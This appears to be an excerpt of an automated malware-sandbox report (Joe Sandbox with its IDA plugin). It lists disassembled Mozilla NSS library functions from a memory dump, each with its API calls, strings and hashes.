_PR_CreateThread.NSS3(00000000,6CD0A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD09DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CD09DFC
_PR_CreateThread.NSS3(00000000,6CD0A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD09E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CD09E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CD09E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD09E89

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 7e5503fded780e28c75590ffe02a7b016cb769e09fcbda163ba1150be00fd05f
Instruction ID: 8f26137705f76ff0819214a067e2522022985d6f3a89b869493df1b9660e75e1
Opcode Fuzzy Hash: 7e5503fded780e28c75590ffe02a7b016cb769e09fcbda163ba1150be00fd05f
Instruction Fuzzy Hash: E8615EB1A01706AFE714DF79C844A67BBF8FF49208B04452EE859C7B11E770E814CBA1

Function 6CC48E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48E9E
PORT_ArenaAlloc_Util.NSS3(6CD50B64,00000001,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CC48E01), ref: 6CC48EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CD50B64,6CD50B64), ref: 6CC48F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CC48F3F

Part of subcall function 6CC4A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CC4A421,00000000,00000000,6CC49826), ref: 6CC4A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC4904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CC48E76

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 8b9855d45b652fb85cc33e14ebf6f7dc46a05d1cc689ab6dd30778398d92d28a
Instruction ID: f3424ce82590faa45bdbaa9125062b74356cf412bdd2b1bef6611195cc9f068c
Opcode Fuzzy Hash: 8b9855d45b652fb85cc33e14ebf6f7dc46a05d1cc689ab6dd30778398d92d28a
Instruction Fuzzy Hash: EC61AFB5E001159BDB10CF55CD80AABB7B9FF88369F14C528DC18A7B10E731A916CBE0

Function 6CBF8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CBF8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBF8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD218D0,?), ref: 6CBF8F03
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF8F19
PL_FreeArenaPool.NSS3(?), ref: 6CBF8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBF8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBF8F65
PL_FinishArenaPool.NSS3(?), ref: 6CBF8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CBF8FFE
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF9012
PL_FreeArenaPool.NSS3(?), ref: 6CBF9024
PL_FinishArenaPool.NSS3(?), ref: 6CBF902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CBF903E

Strings

security, xrefs: 6CBF8EE7

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7d24c4cb7462869292ed0a933a3efaa5f0260c421e894aad5ff4b111c33878d3
Instruction ID: 1e56105178f53b6216f5e915460683fb3fb66543b3407fffd464095500fb2469
Opcode Fuzzy Hash: 7d24c4cb7462869292ed0a933a3efaa5f0260c421e894aad5ff4b111c33878d3
Instruction Fuzzy Hash: 84515BB1508240AFE7109E1ADC45FAB73A8EB8635CF80082EF56497F50E732D81E8753

Function 6CC24E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CC24E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC24EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24EC7

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC24EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC24F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CC24F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC24F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC24F68

Strings

hObject = 0x%x, xrefs: 6CC24EF5, 6CC24F05
C_GetAttributeValue, xrefs: 6CC24E7E
(CK_INVALID_HANDLE), xrefs: 6CC24EC0, 6CC24F13
hSession = 0x%x, xrefs: 6CC24EA2, 6CC24EB2
ulCount = %d, xrefs: 6CC24F63
pTemplate = 0x%p, xrefs: 6CC24F4A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 2b477a02b1d38deed384f973f6c2aa82ab52a0a8ccc126661df48e48518ca5bc
Instruction ID: 2b1f5212ee64bb803139990941a2afb11b9bdb5b153e30a514af2c9e7bece3a5
Opcode Fuzzy Hash: 2b477a02b1d38deed384f973f6c2aa82ab52a0a8ccc126661df48e48518ca5bc
Instruction Fuzzy Hash: 0641A575A01144BFFB00DF58EC48F5B77B9AB5235DF484026E6085BB61E738994CCBA1

Function 6CC24CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CC24CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC24D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24D37

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC24D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC24D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC24DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CC24DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CC24E20

Strings

C_GetObjectSize, xrefs: 6CC24CEE
hObject = 0x%x, xrefs: 6CC24D65, 6CC24D75
*pulSize = 0x%x, xrefs: 6CC24E1B
(CK_INVALID_HANDLE), xrefs: 6CC24D30, 6CC24D83
hSession = 0x%x, xrefs: 6CC24D12, 6CC24D22
pulSize = 0x%p, xrefs: 6CC24DB7

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 3cf807beba8d0ffbb33d4e85e19ba45240e11d40b2782e54ad1b1747caaad7e6
Instruction ID: ea0718df0a74dfddb150177f46c68ea79f6bb5f24f015432002ae36ed2cda11f
Opcode Fuzzy Hash: 3cf807beba8d0ffbb33d4e85e19ba45240e11d40b2782e54ad1b1747caaad7e6
Instruction Fuzzy Hash: B141C771601104BFFB00DF58EC88F6A7779EB4274DF444066E6086BA61EB38994CCBA1

Function 6CC27C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CC27CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC27CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC27CF3

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC27D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC27D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC27D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CC27D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CC27D77

Strings

ulSignatureLen = %d, xrefs: 6CC27D72
pSignature = 0x%p, xrefs: 6CC27D59
pData = 0x%p, xrefs: 6CC27D25
(CK_INVALID_HANDLE), xrefs: 6CC27CEC
hSession = 0x%x, xrefs: 6CC27CCE, 6CC27CDE
ulDataLen = %d, xrefs: 6CC27D40
C_Verify, xrefs: 6CC27CB1

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: 6465d88851ea9dd2e5ead8ff76d1308d221997df48a27ded81624827127625d6
Instruction ID: 8627dd7b9d8c01388fa6edff45fa5fb16aee7be471ab9a441cafe111cc043cbc
Opcode Fuzzy Hash: 6465d88851ea9dd2e5ead8ff76d1308d221997df48a27ded81624827127625d6
Instruction Fuzzy Hash: 8E31F971A01144BFEB00DF58ED88F5A7BF5AB4231CF884055E50857B21EB34980CDBA1

Function 6CC22F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CC22F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC22F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC22F63

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC22F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CC22F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CC22FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CC22FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CC22FE7

Strings

pOldPin = 0x%p, xrefs: 6CC22F95
C_SetPIN, xrefs: 6CC22F21
(CK_INVALID_HANDLE), xrefs: 6CC22F5C
hSession = 0x%x, xrefs: 6CC22F3E, 6CC22F4E
pNewPin = 0x%p, xrefs: 6CC22FC9
ulNewLen = %d, xrefs: 6CC22FE2
ulOldLen = %d, xrefs: 6CC22FB0

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 2b97cc10a85e6c8e43f8b40f13e9e1b59b82d772736e9dae58e281b823e45325
Instruction ID: 04e9bfb38d850411a4a859da1a320753658915b5198d1cc333ee56b3bb6edb90
Opcode Fuzzy Hash: 2b97cc10a85e6c8e43f8b40f13e9e1b59b82d772736e9dae58e281b823e45325
Instruction Fuzzy Hash: 4331F775A01154BFEB10DF58EC4CE5A77B9EB4635DF884015EA08A7B21EB34984CCBA1

Function 6CC2A9A0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6CC2A9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC2A9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC2AA03

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC2AA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CC2AA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CC2AA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6CC2AA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6CC2AA87

Strings

pAssociatedData = 0x%p, xrefs: 6CC2AA69
ulAssociatedDataLen = 0x%p, xrefs: 6CC2AA82
ulParameterLen = 0x%p, xrefs: 6CC2AA50
(CK_INVALID_HANDLE), xrefs: 6CC2A9FC
hSession = 0x%x, xrefs: 6CC2A9DE, 6CC2A9EE
pParameter = 0x%p, xrefs: 6CC2AA35
C_DecryptMessageBegin, xrefs: 6CC2A9C1

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin
API String ID: 1003633598-2188218412
Opcode ID: 41b03e6b2acc155f0f37ecd17dd9be8eb09e7c236be4f1f8b802172c617f1410
Instruction ID: b79460d526fc7ec527d65bcc34e9017f2f340ec51d1f8f9ca37aec265d3cb912
Opcode Fuzzy Hash: 41b03e6b2acc155f0f37ecd17dd9be8eb09e7c236be4f1f8b802172c617f1410
Instruction Fuzzy Hash: 6C31E675A01140FFEB00DF58ED48E9A77B9EF8635CF884016E60857B21EB34985CCBA1

Function 6CCBCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCBCC7B), ref: 6CCBCD7A

Part of subcall function 6CCBCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CC2C1A8,?), ref: 6CCBCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CCBCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCD8E

Part of subcall function 6CBE05C0: PR_EnterMonitor.NSS3 ref: 6CBE05D1
Part of subcall function 6CBE05C0: PR_ExitMonitor.NSS3 ref: 6CBE05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CCBCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CCBCE48

Strings

freeaddrinfo, xrefs: 6CCBCD9F, 6CCBCE10
getaddrinfo, xrefs: 6CCBCD88, 6CCBCDF9
ws2_32.dll, xrefs: 6CCBCD75
getnameinfo, xrefs: 6CCBCDB2, 6CCBCE23
wship6.dll, xrefs: 6CCBCDE3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 64198eaf6470aa018e0ee4ee53aec3fb4d0c7c4a62f147b0e3c38ec00a0c3c20
Instruction ID: f4b8d3764819932a734249d3b90a6e2f4df63b5f05efded23bb49102f46eb860
Opcode Fuzzy Hash: 64198eaf6470aa018e0ee4ee53aec3fb4d0c7c4a62f147b0e3c38ec00a0c3c20
Instruction Fuzzy Hash: D211DAA5E0226166FB017BF57C4099F399CAB0614DF540634EA0AE2F90FB38C90CC7E2

Function 6CD01C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CD013BC,?,?,?,6CD01193), ref: 6CD01C6B
PR_NewLock.NSS3(?,6CD01193), ref: 6CD01C7E

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PR_NewCondVar.NSS3(00000000,?,6CD01193), ref: 6CD01C91

Part of subcall function 6CBDBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CBE21BC), ref: 6CBDBB8C

PR_NewCondVar.NSS3(00000000,?,?,6CD01193), ref: 6CD01CA7

Part of subcall function 6CBDBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBDBBEB
Part of subcall function 6CBDBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CBDBBFB
Part of subcall function 6CBDBB80: GetLastError.KERNEL32 ref: 6CBDBC03
Part of subcall function 6CBDBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CBDBC19
Part of subcall function 6CBDBB80: free.MOZGLUE(00000000), ref: 6CBDBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CD01193), ref: 6CD01CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CD01193), ref: 6CD01CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CD01193), ref: 6CD01CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CD01193), ref: 6CD01D1A

Part of subcall function 6CCB9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBE1A48), ref: 6CCB9BB3
Part of subcall function 6CCB9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBE1A48), ref: 6CCB9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CD01193), ref: 6CD01D3D

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CD01193), ref: 6CD01D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CD01193), ref: 6CD01D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CD01193), ref: 6CD01D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CD01193), ref: 6CD01D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CD01193), ref: 6CD01D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CD01193), ref: 6CD01D93
PR_DestroyLock.NSS3(00000000,?,?,6CD01193), ref: 6CD01D9F
free.MOZGLUE(00000000,?,6CD01193), ref: 6CD01DA8

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 43a6f48f970c9450c145793d02a68f11b0b13f14c8be4717556908cc53c9fd1a
Instruction ID: be886e20d952adad7515f887c9f229715407e99973978b0e3ade7b498dcffa74
Opcode Fuzzy Hash: 43a6f48f970c9450c145793d02a68f11b0b13f14c8be4717556908cc53c9fd1a
Instruction Fuzzy Hash: 0B31FAF5E007519BEB209F68AC41A5B76F8AF0574DF044438E94A87B51F771E408CBA2

Function 6CC55CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CC55EC0,00000000,?,?), ref: 6CC55CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CC55CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CC55CF0
